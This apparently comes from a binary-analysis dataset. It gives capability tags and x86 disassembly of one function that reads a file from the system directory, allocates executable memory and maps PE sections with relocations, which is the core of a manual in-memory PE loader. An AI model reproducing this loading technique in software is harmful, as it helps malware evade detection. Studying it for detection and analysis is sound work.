Function at 0x1001cab0
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call
Get common file path
Get file size
Read file on windows

Disassembly:
sub esp, 0x24
mov dword [esp + 8], ecx
xor ecx, ecx
mov eax, 1
mov edx, 2
mul edx
seto cl
push ebx
push ebp
push esi
push edi
neg ecx
or ecx, eax
push ecx
call fcn.10002e89
mov ebp, dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
add esp, 4
mov edi, eax
push 1
push edi
call ebp
mov esi, eax
xor ebx, ebx
add esi, 1
cmp edi, ebx
je 0x1001cafa
push edi
call fcn.10002e75
add esp, 4
xor ecx, ecx
mov eax, esi
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.10002e89
add esp, 4
mov edi, eax
push esi
push edi
mov dword [esp + 0x34], edi
call ebp
push edi
lea ecx, [esp + 0x14]
mov dword [esp + 0x14], ebx
call fcn.100035c0
push 0x1002b510
lea ecx, [esp + 0x18]
mov dword [esp + 0x18], ebx
call fcn.100035c0
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0x24]
push edx
call fcn.10005a10
mov eax, dword [eax]
add esp, 0xc
push eax
lea ecx, [esp + 0x14]
call fcn.100035c0
mov ecx, dword [esp + 0x1c]
push ecx
call fcn.10002e75
mov edx, dword [esp + 0x18]
push edx
call fcn.10002e75
mov eax, dword [esp + 0x18]
add esp, 8
push ebx
push ebx
push 3
push ebx
push 1
push SysReAllocString
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
xor ebp, ebp
xor eax, eax
cmp edi, ebx
mov dword [esp + 0x24], ebp
jbe 0x1001cbbb
push edi
call fcn.10002e89
mov dword [esp + 0x28], eax
mov ebp, dword [esp + 0x28]
add esp, 4
mov eax, edi
push ebx
lea ecx, [esp + 0x24]
push ecx
push eax
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [ebp + 0x3c]
mov edx, dword [esi + ebp + 0x50]
push 0x40
add esi, ebp
push 0x101000
push edx
push 0
mov ebx, esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebp, dword [esp + 0x18]
mov edx, dword [esp + 0x24]
mov dword [ebp], eax
mov ecx, dword [esi + 0x54]
push ecx
push edx
push eax
call fcn.1000ce10
movzx eax, word [esi + 0x14]
add esp, 0xc
cmp word [ebx + 6], 0
lea esi, [esi + eax + 0x18]
mov dword [esp + 0x14], 0
jbe 0x1001cc72
add esi, 0x10
nop
mov edi, dword [esi - 4]
mov edx, dword [esp + 0x18]
mov ebp, dword [esi - 8]
add edi, dword [edx]
mov ecx, dword [esi]
push ebp
push edi
mov dword [esp + 0x24], ecx
call fcn.1000cdf0
mov eax, dword [esp + 0x24]
add esp, 8
cmp ebp, eax
jl 0x1001cc46
mov ebp, eax
mov eax, dword [esi + 4]
add eax, dword [esp + 0x24]
push ebp
push eax
push edi
call fcn.1000ce10
mov eax, dword [esp + 0x20]
movzx ecx, word [ebx + 6]
add eax, 1
add esp, 0xc
add esi, 0x28
cmp eax, ecx
mov dword [esp + 0x14], eax
jl 0x1001cc20
mov ebp, dword [esp + 0x18]
mov eax, dword [ebp]
mov ecx, dword [ebx + 0xa4]
mov edi, eax
sub edi, dword [ebx + 0x34]
mov ebx, dword [ebx + 0xa0]
add ebx, eax
test ecx, ecx
mov dword [esp + 0x1c], ecx
mov esi, ebx
jle 0x1001ccfc
mov eax, dword [esi + 4]
sub eax, 8
shr eax, 1
test eax, eax
lea edx, [esi + 8]
jle 0x1001ccf4
mov dword [esp + 0x18], eax
movzx ecx, word [edx]
mov eax, ecx
and eax, 0xfff
add eax, dword [esi]
shr ecx, 0xc
add eax, dword [ebp]
add ecx, 0xffffffff
cmp ecx, 9
ja case.0x1001ccc6.3
movzx ecx, byte [ecx + 0x1001cd44]
jmp dword [ecx*4 + 0x1001cd30]
add dword [eax], edi
jmp case.0x1001ccc6.3
add dword [eax], edi
adc dword [eax + 4], 0
jmp case.0x1001ccc6.3
add word [eax], di
jmp case.0x1001ccc6.3
mov ecx, edi
shr ecx, 0x10
add word [eax], cx
add edx, 2
sub dword [esp + 0x18], 1
jne 0x1001cca5
mov ecx, dword [esp + 0x1c]
mov esi, edx
sub edx, ebx
cmp edx, ecx
jl 0x1001cc92
mov edx, dword [esp + 0x24]
push edx
call fcn.10002e75
mov eax, dword [esp + 0x14]
push eax
call fcn.10002e75
mov eax, dword [esp + 0x34]
add esp, 8
test eax, eax
je 0x1001cd24
push eax
call fcn.10002e75
add esp, 4
pop edi
pop esi
mov eax, ebp
pop ebp
pop ebx
add esp, 0x24
ret